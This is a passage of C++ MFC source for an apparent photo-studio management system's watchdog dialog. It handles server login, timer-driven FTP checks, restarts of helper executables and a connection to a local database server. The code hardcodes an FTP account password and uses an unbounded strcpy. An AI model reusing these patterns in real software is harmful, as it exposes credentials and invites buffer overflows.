		(LOGIN_RESULT_NAMERROR == byResult) ? "名字不存在" :
		(LOGIN_RESULT_PWERROR == byResult) ? "密码错误" : "登录失败"),
		dwConnectionID);
	//	MessageBox((CString)strCommentInfo);
}
CString newGUID()
{
	CString str;
	GUID guid;
	CoInitialize(NULL);
	if (S_OK == ::CoCreateGuid(&guid))
	{
		str.Format(
			"{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}",
			guid.Data1,
			guid.Data2,
			guid.Data3,
			guid.Data4[0], guid.Data4[1],
			guid.Data4[2], guid.Data4[3],
			guid.Data4[4], guid.Data4[5],
			guid.Data4[6], guid.Data4[7]);
	}
	CoUninitialize();
	return str.Left(28);
}

BOOL CAutoRunDlg::ProcessLoginRequest()
{
	WORD wMessageId = 0;

	if (g_nSrvType == 0)
		wMessageId = MSG_LOGIN_REQ + 0X1FFF;
	else
		wMessageId = MSG_LOGIN_REQ;

	TLOGIN_STRU tLogonInfo = { 0 };
	tLogonInfo.tCommonMsg.dwConnectionID = GetConnectionID();
	tLogonInfo.tCommonMsg.wMessageId = wMessageId;

	CString strUserName = newGUID();

	strUserName.TrimLeft();
	strUserName.TrimRight();
	strcpy(tLogonInfo.tUserInfo.szUserName, strUserName);

	DWORD dwDataLen = sizeof(TLOGIN_STRU);
	TMessageHeader tHeader = { 0 };
	tHeader.wMessageId = wMessageId;
	tHeader.dwDataLen = dwDataLen;

	unsigned long ulSendLen = m_tClientTunnel.net_Send(&tHeader, (void *)&tLogonInfo, dwDataLen);
	if (ulSendLen == SOCKET_ERROR)
	{
		return 0;
	}
	return 1;
}

//---------------------------------------------------------------------------
void CAutoRunDlg::OnDestroy()
{
	g_pMainWnd2->DestroyWindow();
	delete g_pMainWnd2;
	OnDisconnect();
	Transport_UnInit();
	CDialog::OnDestroy();
}

void CAutoRunDlg::OnTimer(UINT nIDEvent)
{
	// TODO: Add your message handler code here and/or call default
	if (DISCONNECT_TIMER == nIDEvent)
	{
		KillTimer(nIDEvent);
		OnDisconnect();
	}
	else if (LOGINFAILED_TIMER == nIDEvent)
	{
		KillTimer(nIDEvent);
		OnDisconnect();
	}
	else if (1 == nIDEvent)
	{
		KillTimer(1);
		m_bTerminate = false;
		m_bRunning = false;
		m_hThread = NULL;
		m_bRunning = true;
		m_hThread = (HANDLE)_beginthreadex(NULL, 0, SendMsgThread, (LPVOID)this, 0/* CREATE_SUSPENDED*/, &m_dwThreadID);
	}
	else if (2 == nIDEvent)
	{

#if 0	// 停止关闭CPhotoFTPSend
		DWORD id = FindAppProcessID("CPhotoFTPSend.exe");
		if (id != -1)
		{
			TRACE("\n---------------------SetTimer(2) 定时关闭-------------------------\n");
			HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
			if (ProcessHandle)TerminateProcess(ProcessHandle, 0);
		}
		ShellExecute(NULL, _T("open"), g_mainpath2 + "\\CPhotoFTPSend.exe", NULL, NULL, SW_SHOWNORMAL);
#endif
	}
	else if (3 == nIDEvent)
	{
		CloseAllErrorWnd();

		if (m_bRunning == 0)
		{
			m_bTerminate = false;
			m_bRunning = false;
			m_hThread = NULL;
			m_bRunning = true;
			m_hThread = (HANDLE)_beginthreadex(NULL, 0, SendMsgThread, (LPVOID)this, 0/* CREATE_SUSPENDED*/, &m_dwThreadID);
		}

	}
	else if (4 == nIDEvent)
	{
		KillTimer(4);
		TestFTP();
		SetTimer(4, 60000, NULL);
	}
	else if (5 == nIDEvent)
	{
		KillTimer(5);
		TestFTPSend();
		SetTimer(5, 10000, NULL);
	}
	else if (6 == nIDEvent)
	{
		// 测试连接本地服务器;
		Test_Connect_LocalServer();
	}
}

void CAutoRunDlg::OnClose()
{
	// TODO: Add your command handler code here settimer
	TerminateThread();
	CDialog::OnCancel();
}

BOOL CAutoRunDlg::TerminateThread()
{
	try
	{
		if (!m_bRunning)
			return TRUE;

		m_bTerminate = true;

		for (;;)
		{
			if (::WaitForSingleObject(m_hThread, 0) == WAIT_OBJECT_0)
				break;

			MSG msg;
			while (::PeekMessage(&msg, NULL, 0, 0, PM_NOREMOVE))
			{
				if (!AfxGetApp()->PumpMessage())
					break;
			}
		}
		::CloseHandle(m_hThread);
		m_bRunning = false;
		return TRUE;
	}
	catch (...)
	{
	}
}
CArray<CStringArray, CStringArray>g_List1array;
DWORD g_nLeng = 0;
BYTE *g_pData = NULL;
CString g_str = "";
void CAutoRunDlg::ProcessChatMessageResponse(void *pResponse)
{
	if (NULL == pResponse) return;

	g_str = "";

	TCHAT_MESSAGE_STRU *pChatMessage = (TCHAT_MESSAGE_STRU *)pResponse;
	int nMessageLen = pChatMessage->wMessageLen;
	DWORD dwToUserID = pChatMessage->dwToUserID;
	char *pStr = new char[nMessageLen + 1];
	memset(pStr, 0, nMessageLen + 1);
	memcpy(pStr, pChatMessage->byFileContent, nMessageLen);
	CString str = pStr;
	delete[]pStr;
	if (str == "账户或密码错误!")
	{
		g_bSendOK = 0;
	}
	else
	{
		if (dwToUserID == 0 && str != "发送信息成功!")
			g_bSendOK = 0;
		else
			g_bSendOK = 1;
	}
	g_str = str;
	g_bReturned = 1;
}

int CAutoRunDlg::GetPort()
{
	static int aaa = -1;
	if (aaa == -1)
	{
		aaa = CTime::GetCurrentTime().GetSecond() % 7;
	}
	aaa++;
	if (aaa >= 7)aaa = 0;
	return 8387 + aaa;
}

void CAutoRunDlg::TestFTP()
{
	try
	{
		DWORD id = FindAppProcessID("CPhotoFTPReceive.exe");
		if (id != -1)
		{
			char server[50];
			DWORD leng = 50;
			::GetComputerName(server, &leng);
			CString ip = server;
			MyGetIPByName(ip);
			CFTPSend *pftp = new CFTPSend;
			if (!pftp->LogOnToServer(ip, 21, "photo1account", "lyfzphoto1account"))
			{
				delete pftp; pftp = NULL;
				HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
				if (ProcessHandle)TerminateProcess(ProcessHandle, 0); ::Sleep(3000);
				ShellExecute(NULL, _T("open"), g_mainpath2 + "\\CPhotoFTPReceive.exe", NULL, NULL, SW_SHOWNORMAL);
				return;
			}
			int ret;
			CString filename, filepath;
			if (::PathFileExists(g_mainpath2 + "\\test.dat") == 0)
			{
				CFile fp;
				fp.Open(g_mainpath2 + "\\test.dat", CFile::modeCreate | CFile::modeWrite);
				char aa[500];
				fp.Write(aa, 500);
				fp.Close();
			}
			filepath = g_mainpath2 + "\\test.dat";
			filename = filepath.Right(filepath.GetLength() - filepath.ReverseFind('\\') - 1);
			ret = pftp->MoveFile(filename, filepath, 0);
			if (ret != 1)
			{	//	AfxMessageBox("失败2");
				delete pftp; pftp = NULL;
				HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
				if (ProcessHandle)TerminateProcess(ProcessHandle, 0);
				::Sleep(3000);
				ShellExecute(NULL, _T("open"), g_mainpath2 + "\\CPhotoFTPReceive.exe", NULL, NULL, SW_SHOWNORMAL);
				return;
			}
			delete pftp; pftp = NULL;
		}
	}
	catch (...)
	{
	}
}

void CAutoRunDlg::TestFTPSend()
{
	try
	{
		ShellExecute(NULL, _T("open"), g_mainpath2 + "\\CPhotoFTPSend.exe", NULL, NULL, SW_SHOWNORMAL);
	}
	catch (...)
	{
	}
}

BOOL nNeedConn2 = 1;
int g_nFailTimes = 0;
void CAutoRunDlg::Test_Connect_LocalServer()		// 连接DBServer.exe本地服务器;
{
	g_nSrvType = 0;
	try
	{
		CArray<CStringArray, CStringArray>Listarray1;
		int i;
		HWND hwnd = NULL;
		hwnd = ::FindWindow(NULL, "影楼管理系统服务器");
		if (hwnd == NULL)
			ShellExecute(NULL, _T("open"), g_mainpath, NULL, NULL, SW_SHOWNORMAL);
		if (nNeedConn2)
		{
			if (g_pMainWnd2->OnConnectLocalServer() == 0)
			{
				WriteLogin("连接本地服务器失败");
				nNeedConn2 = 1;
				HWND hwnd = NULL;
				hwnd = ::FindWindow(NULL, "影楼管理系统服务器");
				g_nFailTimes++;

#if 0			// 不关闭DBServer.exe;
				if (g_nFailTimes > 10)
				{
					g_nFailTimes = 0;
					DWORD id = FindAppProcessID("DBServer.exe");
					if (id != -1)
					{
						HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
						if (ProcessHandle)TerminateProcess(ProcessHandle, 0);
					}
				}
				else if (g_nFailTimes > 5)
				{
					if (hwnd)
					{
						::PostMessage(hwnd, g_wmClose, 2, NULL);
						return;
					}
				}
#endif
				return;
			}
			else
			{
				WriteLogin("连接本地服务器成功");
				int aa = 100;
				while (g_pMainWnd2->m_dwConnectionID == INVALID_SOCKET)
				{
					::Sleep(50);
					aa--;
					if (aa == 0)break;
				}
				nNeedConn2 = 0;
			}
		}

		// 向本地服务器请求域名; 
		g_sendhead.bsql = 0;
		g_sendhead.code[0] = 183;
		g_sendhead.tabcount = 1;
		g_bReturned2 = 0;
		g_pMainWnd2->ProcessChatMessageRequest2(1);
		for (i = 0; i < 10; i++)
		{
			if (g_bReturned2)break;
			::Sleep(1000);
		}
		if (i >= 10)
		{
			WriteLogin("发送本地服务器失败");
			nNeedConn2 = 1;
			HWND hwnd = NULL;
			hwnd = ::FindWindow(NULL, "影楼管理系统服务器");
			g_nFailTimes++;

#if 0		// 不关闭DBServer.exe
			if (g_nFailTimes > 10)
			{
				g_nFailTimes = 0;
				DWORD id = FindAppProcessID("DBServer.exe");
				if (id != -1)
				{
					HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
					if (ProcessHandle)TerminateProcess(ProcessHandle, 0);
				}
			}
			else if (g_nFailTimes > 5)
			{
				if (hwnd)
				{
					::PostMessage(hwnd, g_wmClose, 2, NULL);
					return;
				}
			}
#endif
			return;
		}
		else
		{
			WriteLogin("发送本地服务器成功");
			g_nFailTimes = 0;
		}
		DataToArray(&Listarray1);
		g_domainstr = Listarray1.ElementAt(0).ElementAt(0);
		Global::WriteTextLog(g_domainstr);
		//	g_pMainWnd2->OnDisconnect();
	}
	catch (...)
	{
	}
}